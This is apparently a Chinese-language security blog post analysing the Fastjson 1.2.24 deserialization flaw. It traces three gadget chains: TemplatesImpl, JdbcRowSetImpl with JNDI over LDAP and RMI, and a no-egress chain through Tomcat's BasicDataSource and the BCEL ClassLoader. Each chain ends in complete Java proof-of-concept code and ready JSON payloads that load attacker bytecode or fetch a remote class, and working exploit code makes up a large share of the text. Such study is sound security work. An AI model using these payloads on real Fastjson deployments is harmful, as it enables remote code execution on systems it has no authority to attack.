FastJson1.2.24

Fastjson-1.2.24

环境

  • JDK8u65
  • 1.2.22 <= Fastjson <= 1.2.24

pom.xml 文件导入如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>

出网情况下

基于TemplatesImpl的利用链

分析

我们一定对TemplatesImpl有所了解,学习CC链时,就有它的身影,我们使用它的getTransletInstance方法去加载任意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

继续深入的分析,我们已经在CC链专题中讲过了,这里就不再多说

我们要想走到defineTransletClasses方法,并进行实例化类,需要以下几个条件成立

  • _name 不等于 null
  • _class 等于 null
  • _tfactory 为 TransformerFactoryImpl

因此在设想中,我们的poc大概是以下这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class";
"
{

\"@type\":\"" + NASTY_CLASS + "\",
\"_bytecodes\":[\""+evilCode+"\"],
'_name':'Drunkbaby',
'_tfactory':{ },

";


但是实际上,getTransletInstance并不满足我们的getter的条件

1
2
3
4
5
6
7
private Translet getTransletInstance()
throws TransformerConfigurationException {
......
return translet;
}
......
}

我们应该找哪里调用了该方法,发现只有newTransformer中调用了,但他不是符合setter或getter方法,继续向上找去,找到一个符合条件的setter与getter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

最终我们找到了方法getOutputProperties,是可以让我们利用的getter方法,它的返回值Properties正是一个Map类型

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

大概链子如下

1
getOutputProperties()  ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

现在我们的大概POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class";

"
{

\"@type\":\"" + NASTY_CLASS + "\",
\"_bytecodes\":[\""+evilCode+"\"],
'_name':'Drunkbaby',
'_tfactory':{ },
\"_outputProperties\":{ },

";

实现

自己的poc不知道为什么一直无法弹出计算器,看了别的师傅的payload修改后才成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.ClassPool;
import javassist.CtClass;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.Base64;

public class fastjsonTest {
public static class test{}

public static byte[] convert(String path) throws Exception {
File file = new File(path);
if (!file.exists()) {
throw new IOException("File not found: " + path);
}

try (FileInputStream fis = new FileInputStream(file)) {
byte[] bytes = new byte[(int) file.length()];
int readBytes = fis.read(bytes);
if (readBytes != file.length()) {
throw new IOException("Failed to read the entire file: " + path);
}
return bytes;
}
}


public static void main(String[] args) throws Exception {
String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String classPath = "F:\\temporary\\Test.class";
byte[] code= convert(classPath);
String evilCode_base64 = Base64.getEncoder().encodeToString(code);
String payload =
"{\"" +
"@type\":\"" + NASTY_CLASS + "\"," + "\"" +
"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'asd','" +
"_tfactory':{ },\"" +
"_outputProperties\":{ }" + "}";
ParserConfig config = new ParserConfig();
System.out.println(payload);
Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);

}

}

基于JdbcRowSetImpl的利用链

分析

我们找到JdbcRowSetImpl类中的connect方法存在一个lookup方法,可能存在JNDI注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

connect方法对this.getDataSourceName()进行了lookup

以下是getDataSourceName的代码,若我们可以控制dataSource,即可实现JNDI注入

虽然dataSource是一个私有属性,但是在本类中具有它public的setter方法,因此它是一个可控变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public String getDataSourceName() {
return dataSource;
}

public void setDataSourceName(String name) throws SQLException {

if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}

URL = null;
}

接下来我们找connect方法的调用处,需要是一个getter或者是setter

我们找到了以下两种方法,而只有setAutoCommit方法是可以利用的

而getDatabaseMetaData不可利用的原因是

  1. 返回值为DatabaseMetaData,不为指定类型
  2. 遍历getter方法需要使用parseObject方法,若要调用getter,则在toJSON方法前不能出错

这里我们使用setAutoCommit方法,只要我们传入var1参数,这里我们可以调用connect方法,实现JNDI注入

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}

}

实现

我用yakit的反连服务器工具来生成LDAP反连地址

它的实现十分简单,我们需要设置三个键值对

  • @type : com.sun.rowset.JdbcRowSetImpl
  • DataSourceName : ldap://127.0.0.1:8085/ENbcWWGK
  • autoCommit : false

我们需要设置DataSource,但是它的setter方法为DataSourceName,因此我们需要传入的是DataSourceName

而正如上面所说,我们想要执行connect方法,就要设置传入setAutoCommit的参数为false

1
2
3
4
5
6
public class FastJsonJdbcRowSetImpl {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/ENbcWWGK\",\"autoCommit\":false}";
JSON.parseObject(s);
}
}

这样即可使远程类加载

rmi也是同理,依旧可以造成注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Test {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
// RMI
//initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); // JNDI 注入漏洞
Reference reference = new Reference("TestRef","TestRef","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}

不出网

基于BasicDataSource的不出网利用链

分析

在出网情况下可以远程加载恶意类,如果在目标不出网的情况下,只能通过本地类加载来利用

我们这里的核心是BCEL中的一个ClassLoaderloadclass,若这个类的开头命名满足$$BCEL$$,就会创建出一个类,并进行类加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
......

if(cl == null) {
JavaClass clazz = null;

/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}

if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}

if(resolve)
resolveClass(cl);
}

classes.put(class_name, cl);

return cl;
}

现在我们构造一个恶意类,用BCEL的ClassLoader进行类加载,并进行实例化,即可弹出计算器

这里使用encode的原因是在BCEL的ClassLoaderloadclass中,有一个方法createClass,其中对传入的参数进行了一次decode,因此我们需要手动encode一次才不会出错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);

JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

clazz = parser.parse();
}
......
return clazz;
}

接下来就要找到调用该类loadclass的地方,一直向上找最终找到getter或者是setter

我们找到tomcat中的BasicDataSource类中的createConnectionFactory

driverClassLoader不为空,则使用该类加载器对driverClassName进行加载

而正好这两个属性都有对应的setter方法,是可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
protected ConnectionFactory createConnectionFactory() throws SQLException {
// Load the JDBC driver class
Driver driverToUse = this.driver;

if (driverToUse == null) {
Class<?> driverFromCCL = null;
if (driverClassName != null) {
try {
try {
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}
} catch (final ClassNotFoundException cnfe) {
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
}
} catch (final Exception t) {
final String message = "Cannot load JDBC driver class '" + driverClassName + "'";
logWriter.println(message);
t.printStackTrace(logWriter);
throw new SQLException(message, t);
}
}

......
return driverConnectionFactory;
}

现在我们向上找,知道找到可利用的getter或setter方法

createDataSource方法调用了createConnectionFactory

getconnection调用了createDataSource

getconnection就是一个可用的getter方法

1
2
3
4
5
6
7
8
9
10
protected DataSource createDataSource() throws SQLException {
......
final ConnectionFactory driverConnectionFactory = createConnectionFactory();
......
}

public Connection getConnection() throws SQLException {
......
return createDataSource().getConnection();
}

成功加载恶意类

实现

@type设为org.apache.tomcat.dbcp.dbcp2.BasicDataSource,对driverClassNamedriverClassLoader进行赋值,其中Name要符合$$BCEL$$,而Loader要通过JSON来还原一个类加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class FastJsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
byte[] bytes = convert("F:\\java\\RMI\\RMIServer\\target\\classes\\TestRef.class");
String code = Utility.encode(bytes,true);

String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+code+"\",\"driverClassLoader\":\"{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parse(s);
System.out.println(code);

}
public static byte[] convert(String path) throws Exception {
File file = new File(path);
if (!file.exists()) {
throw new IOException("File not found: " + path);
}

try (FileInputStream fis = new FileInputStream(file)) {
byte[] bytes = new byte[(int) file.length()];
int readBytes = fis.read(bytes);
if (readBytes != file.length()) {
throw new IOException("Failed to read the entire file: " + path);
}
return bytes;
}
}
}

最后成功利用,执行弹窗

总结

总结一下漏洞发生在反序列化的点,也就是 Obj.parseObj.parseObject 这里。必须的是传参要带入 class 的参数

PoC 是通过 String 传进去的,要以 @type 打头

漏洞的原因是反序列化的时候去调用了 getter 和 setter 的方法